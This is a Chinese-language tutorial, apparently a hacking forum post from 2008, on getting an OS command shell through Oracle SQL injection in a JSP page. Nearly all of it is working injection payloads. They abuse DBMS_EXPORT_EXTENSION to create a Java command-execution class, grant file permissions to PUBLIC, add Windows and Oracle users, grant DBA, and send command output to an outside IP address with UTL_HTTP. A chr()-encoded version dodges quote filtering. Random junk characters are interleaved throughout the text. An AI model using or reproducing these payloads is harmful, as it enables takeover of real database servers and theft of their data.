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& z- K# H2 A M- M介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。' @! E8 F5 J2 v# o+ a. D
+ d" N# _# H; T5 a) C' Y3 H以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成! r( J6 {+ J9 ]9 t2 F+ e
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)! }& I: I6 }" i, V) Y) I3 Y/ I
' N( A* R( @: Q& @' s9 Y; y4 n的形式即可。(用" 'a'|| "是为了让语句返回true值)+ T3 E9 e7 i* f' e
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语句有点长,可能要用post提交。
+ z% K; ]4 J, l* x# ?; ^$ n. S: [* p$ P O' H
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以下是各个步骤:6 g. N, h i% m* v* Y+ _
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1.创建包, M9 n2 K- Q6 p9 I! E0 d
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 t& g/ h7 T8 y: r8 f* u+ M
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
5 s. R `" }8 f% A4 P* pnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
- {5 n3 J8 B" }) p}'''';END;'';END;--','SYS',0,'1',0) from dual% N1 L( h7 c7 }
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)
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% t$ v( [% q* ]$ S" l------------------------
4 ]. u4 f8 d6 F( E如果url有长度限制,可以把readFile()函数块去掉,即:
0 A' R2 l3 y. Y8 x/xxx.jsp?id=1 and '1'<>'a'||(
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& N" W* G9 X* M2 L- L4 Vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! s- X& N2 O& X0 Z. \# b, G
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
) h, Y& d* d2 ?new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}8 T9 a/ g) A* u7 h: l
}'''';END;'';END;--','SYS',0,'1',0) from dual! Q- Z- l- Y! W7 ?3 ~7 U3 z
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)
/ n* U3 l! C$ u$ ]) T% `+ f: D1 o$ d8 y/ f* n8 Y. U- V( H
同时把后面步骤 提到的 对readFile()的处理语句去掉。# r. r/ J3 F/ o
------------------------------$ p& U: G/ t* X4 T8 w S0 M
, L* {4 c [4 v5 `7 z2.赋Java权限
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% U+ f+ ~( m Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual+ T% w+ o$ \) ], c
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3.创建函数
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0 S/ \+ d, Q) M5 a0 I1 y8 cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 a$ L9 P. m' r2 w c/ e
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual7 g+ P. `, _" u/ e
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& T5 Y# d& i3 v9 `) M# A: v
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限
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$ U% i" f R. z5 J! ~! Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual2 a! T" I5 W* a* }
8 I- A1 q' j1 G! u& k7 Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual) A0 B; p" M0 r6 }
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$ F [! ?; n: u5 f' ^- S w4 u5.测试上面的几步是否成功' r8 I" o# s: D! W
$ @/ U. D/ z0 @4 wand '1'<>'11'||(4 z/ k! T3 f* Z }
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'5 f/ n( G# m- `& s- r6 m% b" H- ` d
)
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2 c" H5 G5 f; f& e0 Q0 _and '1'<>($ q* v* d1 e$ d1 C: e7 L6 b
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'+ O( z, Y8 h5 S( Z6 _) {2 ~
)
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. A c& L# j2 r9 T6.执行命令:+ W( r! V4 l+ n- p! D7 a1 Q- }
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/xxx.jsp?id=1 and '1'<>(5 Q; v5 v; \6 @" E
select sys.LinxRunCMD('cmd /c net user linx /add') from dual" f" u; u( t- c$ X
)
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/xxx.jsp?id=1 and '1'<>(: w$ m# d: C, t! B2 t
select sys.LinxReadFile('c:/boot.ini') from dual
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。2 ?* G; `8 K- v$ v1 l9 V) A
如果要查看运行结果可以用 union :
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual; o/ D- x( J5 _" W
. p. I+ G/ {/ F或者UTL_HTTP.request(:
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/xxx.jsp?id=1 and '1'<>(
! N9 r. n& H! x# i! p. j6 D: h+ ASELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual0 x3 {2 f8 y- O# s! j5 N
)# {% W6 |+ X( V! x# a
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/xxx.jsp?id=1 and '1'<>(
3 s; ]# k0 t& |$ y ~SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual' d1 a" t9 w8 ]2 `! g; i, _
)
5 W9 h5 w$ \! y4 k: ^7 a: }1 \) j0 t% Y f; Y! X" v; D
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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--------------------# \: `. ^( s. n$ U
; ?. K/ o5 ?. j* q& M; @6.内部变化: \2 i- j* G D* T2 {
通过以下命令可以查看all_objects表达改变:
/ N+ M1 k7 _( \6 @' g6 Vselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'0 D' {3 s2 D+ Z; U+ H6 n& k
8 H. q# [& C3 \& F( T* ?7.删除我们创建的函数
, o1 U- O& }( x: zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! N4 j$ p: D4 l' n+ w
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual) W4 t; z! R, t
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% \- J5 v4 D; v1 o X
====================================================( n: i/ r. X% `: Y
全文结束。谨以此文赠与我的朋友。& [) |, b9 {6 S8 W1 w' m6 r
6 x T* G% `( |8 q Glinx
7 b3 b: T) W5 h( r. |1248294450 f9 p1 F& Q5 p' K5 b. s+ B
2008.1.125 {' C7 f( K* E D* @6 Z1 u
linyujian@bjfu.edu.cn7 ^& t8 j/ _1 w' c0 r8 d6 J' j0 k, K0 w
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======================================================================3 g% N3 ]* D- T1 J
, L; d+ [, D/ h测试漏洞的另一方法:- F& o% T- I4 D- V! [: @
+ n3 a+ N; |/ w( I1 K创建oracle帐号:# M3 j @- }) }6 s
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 m: i/ {4 y/ J$ C7 D L& o% [9 G# ^CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual6 J! R' S3 n& V' a
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即:
. q9 ^3 q7 _: U" q" c% {+ Cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),, p. D& Z: E8 I
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual' m7 h5 |2 w) m* h5 U
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确定漏洞存在:8 @ {. z) l1 c. A9 y/ n* S; n
1<>(
. o1 Y, H Y3 u4 R+ V: N0 Gselect user_id from all_users where username='LINXSQL'
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( W, X1 T: @0 V给linxsql连接权限:
4 P) }, p& I) o2 f3 qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; i5 _! u7 v9 c# a8 D8 g
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual; M( D0 z, g1 z3 v+ ?' h
' Z7 f; W4 a9 z. v: }- [
删除帐号:
( |8 X0 T) o8 j- {2 cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': w+ w4 m- k6 n
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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======================4 n' f8 j2 c8 b: o( o8 B- w
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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. E' f1 s0 G4 c: b1.jsp?id=1 and '1'<>(* h! m0 A0 [$ D- E; ]6 Y6 E) R% V
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 ?6 F" `* W- z' w
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
% o" J! }8 s; ?4 {+ e/ {) and ...
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1.jsp?id=1 and '1'<>(
! |2 t0 ~; F+ j d0 `6 o' n) Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual1 I3 ?* y- a/ H8 J+ ~+ \
) and ...
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/ \% Q7 t7 `* U' B8 x1.jsp?id=1 and '1'<>(6 \& i% Z9 y! a/ D- z
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
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1.jsp?id=1 and '1'<>(
1 }, E7 i6 |% o8 oSELECT sys.Linx_Query('declare pragma9 N1 I! i* L. \* H4 Q6 ^
autonomous_transaction; begin execute immediate ''
& P- s" {( T& O2 e I7 Dselect 1 from dual0 r& {0 c" |9 L3 @5 M
''; commit; end;') from dual) y. f' i ]: V+ q) j& u% {
) and ...
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多语句:
9 z( [) R# [+ x0 q% d# P. r! a! ]SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual/ p* V) ?) k/ i
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创建用户(除非当前用户有system权限,否则无法成功):7 |+ s' G+ m2 P# d
SELECT sys.Linx_Query('declare pragma
6 t, I, u& ? zautonomous_transaction; begin execute immediate ''
* u7 g9 @/ ]! A; c5 q% JCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User ^: A9 S& W+ |: t9 T
''; commit; end;') from dual4 E5 |0 f3 @, l) p' Q4 s' a
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* f% l. _7 ]% d3 ^; r g5 Z3 v$ t
3 R+ {, @6 u/ o+ k8 {! ]' b2 w================
3 @4 f' U3 L) _0 Z) _以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()9 G- k9 P8 f7 B3 y1 k, {
- L5 Q' K! G" o1 R1.创建函数2 {# A2 Q5 B# D% w5 ? B1 q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; z% _& M& g8 n- X, Kcreate or replace function Linx_Query (p( r) i) D' T! n6 H) ~
varchar2) return number authid current_user is begin execute immediate
8 e1 O: r8 n+ S: x& @+ d2 }& {p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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9 {6 k5 _* f7 W. i6 t如果有权限,以下语句应该允许正常. N# W* f9 X* `8 u0 h
select sys.linx_query('select 1 from dual') from dual;
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不然的话运行:
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+ i/ k3 _8 S- n9 W+ h0 cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 Q, g; {2 g( @8 N0 F$ c% zgrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual. |3 j' _) r; H: E
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& o! r1 c/ D1 L+ G# F) K2.创建包
. W- l0 k" `# w( @ l6 zSELECT sys.Linx_Query('declare pragma- ?6 T/ F2 H* D* c8 F# @& T7 Y w; d7 |
autonomous_transaction; begin execute immediate ''
' j0 I! q4 s \, G" ucreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader($ q; i& z2 d" X. a9 u) ^9 _
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual- r" W. U# \5 P9 }/ q
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3.创建函数
; R- y [* b9 V, C" F% G/ WSELECT sys.Linx_Query('declare pragma
0 i1 C4 K/ {& F Pautonomous_transaction; begin execute immediate ''9 x2 V0 b6 j, g9 [# i
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
0 X- {! L, p: t/ s! c' A5 o3 e6 G8 T* ]7 D! q- X5 @; Z6 X! B0 x- I
4.给权限
9 i3 J5 P# M; |% ?/ |7 C给用户SYSTEM执行权限:- o+ V5 I' {. q$ z: W, Z! {9 ^# z
7 P0 f4 B3 e' S- v6 ?1 @SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
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9 ~) \& e( }0 [% h; F8 X4 H
7 ~0 B" o! d) {$ w' u
' f/ c: ?7 O' b8 n5.执行函数0 {8 Q5 l3 l; u
select RunCMD2('cmd /c dir') from dual* F2 n# X* j, o5 B; q
, H8 k, {: f5 v$ A* i
0 _2 w5 U! f' ?6 _8 Q
6 a! o6 a) ~8 T
y9 s& w5 F, G& Z, P- t: O6 X6 g% h. w- A
==================* _) v1 x3 S0 f$ w
================================7 ] z9 j* N# V& H( D9 N" l
3 I3 d% o" O& y6 E9 F0 F0 W2 o
以下是无 " ' " 版:
' f6 i" {0 J9 g0 V5 t! D
* v, P9 Y5 Z1 ?" f2 d0 _以下是各个步骤:2 r5 A. u' i5 k5 ]* V4 w! I# [; D" U6 A
! y+ V/ |- G* ?" q2 I1.创建包# J$ R* R2 c6 g- A" c1 C
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:; ~# F3 G9 ^, J+ b
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
1 _6 B8 ~1 V) M
% o3 p/ F7 C3 I8 d/xxx.jsp?id=1 and chr(49)<>chr(50)||(! Z7 Y7 t, j' B) e; q) m
9 Z. u6 T. t: ~& }, y7 G1 Y6 Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),7 t) w" b5 i- J& [
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||# d. Y% \. S& ~/ l5 Z; v8 b
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
! d7 d6 y& f, n6 g2 Vchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
: Z: M. ^. a3 ^ c7 Cchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||1 y7 \( [' j$ C. ^: S, ]$ j
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||; R3 [% v) ~9 {1 z
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||+ n" L! W8 p9 x) V, O
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||6 U8 [2 M. K1 f' q
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||" O, l2 F8 s1 B4 _8 r+ k: F9 P
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||, h( v+ t1 t! q$ _
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
/ N9 r" O# ]. R$ f, Zchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||4 t3 }7 X# M+ o4 I4 J P
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||8 R; s+ g v D; P F
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||6 Z/ z! T+ z9 j
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
# w/ S2 I) {; [chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||8 D4 v3 q' v& O* v5 E n5 V
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||+ a6 P) N. T5 t/ H1 N
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
/ I0 h( I+ Z% H/ G& T% h0 Pchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||/ n. S3 T2 b7 w+ b" B* g
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||- f$ C9 @. c- ~$ a
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)|| z( `4 n, r0 M+ T4 v" g0 r
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
' \% K4 f" V) A# }1 E7 Achr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||! Q! s1 {! X3 [: S) a8 [8 |
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||" L: i d0 @3 g1 s- T) k
